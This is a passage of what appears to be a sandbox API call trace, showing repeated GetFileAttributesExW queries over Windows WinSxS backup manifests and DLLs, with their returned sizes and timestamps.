	[0101.286] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasddm-repl.man_f70b2fe7" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasddm-repl.man_f70b2fe7"), fInfoLevelId=0x0, lpFileInformation=0x12824238 | out: lpFileInformation=0x12824238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6309e00, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3965e71, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3965e71, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9d1)) returned 1
	[0101.286] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmanservice-dl.man_89e23b24" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmanservice-dl.man_89e23b24"), fInfoLevelId=0x0, lpFileInformation=0x12824288 | out: lpFileInformation=0x12824288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60363db, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf393fd11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf393fd11, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6a8)) returned 1
	[0101.287] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmanservice-repl.man_a7b7d1f1" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmanservice-repl.man_a7b7d1f1"), fInfoLevelId=0x0, lpFileInformation=0x128242d8 | out: lpFileInformation=0x128242d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60f4abc, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf393fd11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf393fd11, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8b8)) returned 1
	[0101.287] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmigplugin-dl-mig.dll_c8bd1833" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmigplugin-dl-mig.dll_c8bd1833"), fInfoLevelId=0x0, lpFileInformation=0x12824328 | out: lpFileInformation=0x12824328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa624b71f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3965e71, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3965e71, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a200)) returned 1
	[0101.287] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmigplugin-mig.dll_e9d0eb3e" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmigplugin-mig.dll_e9d0eb3e"), fInfoLevelId=0x0, lpFileInformation=0x12824378 | out: lpFileInformation=0x12824378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa62bdb3f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3965e71, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3965e71, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a200)) returned 1
	[0101.287] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmigplugin.dll_7ee2aa40" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmigplugin.dll_7ee2aa40"), fInfoLevelId=0x0, lpFileInformation=0x128243c8 | out: lpFileInformation=0x128243c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5f77cf9, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3919bb0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf393fd11, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a200)) returned 1
	[0101.287] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasppp-repl.man_a0e2d53a" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasppp-repl.man_a0e2d53a"), fInfoLevelId=0x0, lpFileInformation=0x12824418 | out: lpFileInformation=0x12824418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60a87fc, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf393fd11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf393fd11, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb09)) returned 1
	[0101.287] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasrqs-repl.man_b28d8556" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasrqs-repl.man_b28d8556"), fInfoLevelId=0x0, lpFileInformation=0x12824468 | out: lpFileInformation=0x12824468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa618d03d, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf393fd11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3965e71, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x700)) returned 1
	[0101.287] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasserver-repl.man_0cfe2e51" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasserver-repl.man_0cfe2e51"), fInfoLevelId=0x0, lpFileInformation=0x128244b8 | out: lpFileInformation=0x128244b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5e21097, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf38f3a50, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3919bb0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6369)) returned 1
	[0101.288] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasservermigplugin-dl.man_babd2d8e" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasservermigplugin-dl.man_babd2d8e"), fInfoLevelId=0x0, lpFileInformation=0x12824508 | out: lpFileInformation=0x12824508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa61d92fe, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3965e71, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3965e71, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f2e)) returned 1
	[0101.288] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasserveroc-dl.man_78016e78" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasserveroc-dl.man_78016e78"), fInfoLevelId=0x0, lpFileInformation=0x12824558 | out: lpFileInformation=0x12824558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5f058d9, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3919bb0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3919bb0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x67b)) returned 1
	[0101.288] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rtm.dll_dbf434cd" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rtm.dll_dbf434cd"), fInfoLevelId=0x0, lpFileInformation=0x128245a8 | out: lpFileInformation=0x128245a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa62979df, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3965e71, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3965e71, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c200)) returned 1
	[0101.288] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rmcast_31bf3856ad364e35_6.1.7600.16385_none_bac7682ad5fcc812.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rmcast_31bf3856ad364e35_6.1.7600.16385_none_bac7682ad5fcc812.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128245f8 | out: lpFileInformation=0x128245f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e1b084f, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xffa4d528, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xffa4d528, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x9a9)) returned 1
	[0101.288] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rmcast_31bf3856ad364e35_6.1.7600.16385_none_bac7682ad5fcc812_wshrm.dll_0c3acbc3" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rmcast_31bf3856ad364e35_6.1.7600.16385_none_bac7682ad5fcc812_wshrm.dll_0c3acbc3"), fInfoLevelId=0x0, lpFileInformation=0x12824648 | out: lpFileInformation=0x12824648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e1b084f, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xffa4d528, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xffa994fa, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x3a00)) returned 1
	[0101.288] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rpc-local_31bf3856ad364e35_6.1.7601.17514_none_1c754ed890149b9b.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rpc-local_31bf3856ad364e35_6.1.7601.17514_none_1c754ed890149b9b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12824698 | out: lpFileInformation=0x12824698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91f0fae, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf71563d8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf71563d8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe6bf)) returned 1
	[0101.288] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rpc-local_31bf3856ad364e35_6.1.7601.17514_none_1c754ed890149b9b_rpcrt4.dll_5aa847dd" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rpc-local_31bf3856ad364e35_6.1.7601.17514_none_1c754ed890149b9b_rpcrt4.dll_5aa847dd"), fInfoLevelId=0x0, lpFileInformation=0x128246e8 | out: lpFileInformation=0x128246e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb921710e, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf71563d8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf717c538, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa1e00)) returned 1
	[0101.289] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-s..ty-cng-keyisolation_31bf3856ad364e35_6.1.7600.16385_none_2a863865442ba065.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-s..ty-cng-keyisolation_31bf3856ad364e35_6.1.7600.16385_none_2a863865442ba065.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12824738 | out: lpFileInformation=0x12824738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8f9176, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x14c01a96, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x14c73d1b, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xd1c)) returned 1
	[0101.289] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-s..ty-cng-keyisolation_31bf3856ad364e35_6.1.7600.16385_none_2a863865442ba065_keyiso.dll_897976dc" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-s..ty-cng-keyisolation_31bf3856ad364e35_6.1.7600.16385_none_2a863865442ba065_keyiso.dll_897976dc"), fInfoLevelId=0x0, lpFileInformation=0x12824788 | out: lpFileInformation=0x12824788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8f9176, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x14c73d1b, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x14c99df2, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x4c00)) returned 1
	[0101.289] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-s..ty-protectedstorage_31bf3856ad364e35_6.1.7600.16385_none_ae92b0937e708d46.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-s..ty-protectedstorage_31bf3856ad364e35_6.1.7600.16385_none_ae92b0937e708d46.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128247d8 | out: lpFileInformation=0x128247d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dceed6f, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xe29e8e47, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xe2a0ee30, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x14ed)) returned 1
	[0101.289] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-s..ty-protectedstorage_31bf3856ad364e35_6.1.7600.16385_none_ae92b0937e708d46_psbase.dll_b29bce30" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-s..ty-protectedstorage_31bf3856ad364e35_6.1.7600.16385_none_ae92b0937e708d46_psbase.dll_b29bce30"), fInfoLevelId=0x0, lpFileInformation=0x12824828 | out: lpFileInformation=0x12824828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dceed6f, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xe2a0ee30, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xe2a34e19, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xc600)) returned 1
	[0101.289] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-s..ty-protectedstorage_31bf3856ad364e35_6.1.7600.16385_none_ae92b0937e708d46_pstorec.dll_b3635d22" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-s..ty-protectedstorage_31bf3856ad364e35_6.1.7600.16385_none_ae92b0937e708d46_pstorec.dll_b3635d22"), fInfoLevelId=0x0, lpFileInformation=0x12824878 | out: lpFileInformation=0x12824878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dceed6f, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xe2a34e19, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xe2a34e19, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xa600)) returned 1
	[0101.289] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-s..ty-protectedstorage_31bf3856ad364e35_6.1.7600.16385_none_ae92b0937e708d46_pstorsvc.dll_edc49796" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-s..ty-protectedstorage_31bf3856ad364e35_6.1.7600.16385_none_ae92b0937e708d46_pstorsvc.dll_edc49796"), fInfoLevelId=0x0, lpFileInformation=0x128248c8 | out: lpFileInformation=0x128248c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dceed6f, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xe2a34e19, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xe2a5ae02, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x5c00)) returned 1
	[0101.289] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-s..urationengineclient_31bf3856ad364e35_6.1.7601.17514_none_a088921d241bbb4e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-s..urationengineclient_31bf3856ad364e35_6.1.7601.17514_none_a088921d241bbb4e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12824918 | out: lpFileInformation=0x12824918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a72e68, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf6784906, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf6784906, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10a6a)) returned 1
	[0101.290] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-s..urationengineclient_31bf3856ad364e35_6.1.7601.17514_none_a088921d241bbb4e_scecli.dll_149e0f7b" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-s..urationengineclient_31bf3856ad364e35_6.1.7601.17514_none_a088921d241bbb4e_scecli.dll_149e0f7b"), fInfoLevelId=0x0, lpFileInformation=0x12824968 | out: lpFileInformation=0x12824968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5abf128, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf6784906, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf67aaa66, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2ae00)) returned 1
	[0101.290] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-security-netlogon_31bf3856ad364e35_6.1.7601.17514_none_6632670482fa3493.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-security-netlogon_31bf3856ad364e35_6.1.7601.17514_none_6632670482fa3493.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128249b8 | out: lpFileInformation=0x128249b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8da398, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf86505df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf86505df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40d4)) returned 1
	[0101.290] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-security-netlogon_31bf3856ad364e35_6.1.7601.17514_none_6632670482fa3493_netlogon.dll_90e0458e" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-security-netlogon_31bf3856ad364e35_6.1.7601.17514_none_6632670482fa3493_netlogon.dll_90e0458e"), fInfoLevelId=0x0, lpFileInformation=0x12824a08 | out: lpFileInformation=0x12824a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba926659, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf86505df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf867673f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x89a00)) returned 1
	[0101.290] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-security-netlogon_31bf3856ad364e35_6.1.7601.17514_none_6632670482fa3493_nlsvc.mof_c4f094c8" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-security-netlogon_31bf3856ad364e35_6.1.7601.17514_none_6632670482fa3493_nlsvc.mof_c4f094c8"), fInfoLevelId=0x0, lpFileInformation=0x12824a58 | out: lpFileInformation=0x12824a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba94c7b9, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf867673f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf867673f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb39)) returned 1
	[0101.290] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-security-schannel_31bf3856ad364e35_6.1.7601.17514_none_8a90facfa04322fd.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-security-schannel_31bf3856ad364e35_6.1.7601.17514_none_8a90facfa04322fd.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12824aa8 | out: lpFileInformation=0x12824aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac397b12, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf4b664f2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf4b664f2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b21)) returned 1
	[0101.290] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-security-schannel_31bf3856ad364e35_6.1.7601.17514_none_8a90facfa04322fd_schannel.dll_7364eaa8" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-security-schannel_31bf3856ad364e35_6.1.7601.17514_none_8a90facfa04322fd_schannel.dll_7364eaa8"), fInfoLevelId=0x0, lpFileInformation=0x12824af8 | out: lpFileInformation=0x12824af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3e3dd2, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf4b664f2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf4b8c652, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x36c00)) returned 1
	[0101.290] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-security-spp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0311930b84ec63f1.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-security-spp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0311930b84ec63f1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12824b48 | out: lpFileInformation=0x12824b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1edfb395, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1af5bc11, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1af5bc11, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4aa)) returned 1
	[0101.290] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-security-spp_31bf3856ad364e35_6.1.7600.16385_none_80aaf3716f04bb88.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-security-spp_31bf3856ad364e35_6.1.7600.16385_none_80aaf3716f04bb88.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12824b98 | out: lpFileInformation=0x12824b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d937870, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc3aa5a16, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xc3acb9ff, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x32b1)) returned 1
	[0101.291] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-sendmail_31bf3856ad364e35_6.1.7600.16385_none_c133165a6a14f67f.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-sendmail_31bf3856ad364e35_6.1.7600.16385_none_c133165a6a14f67f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12824be8 | out: lpFileInformation=0x12824be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e222ad4, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x58b1c04, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x58b1c04, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x19f4)) returned 1
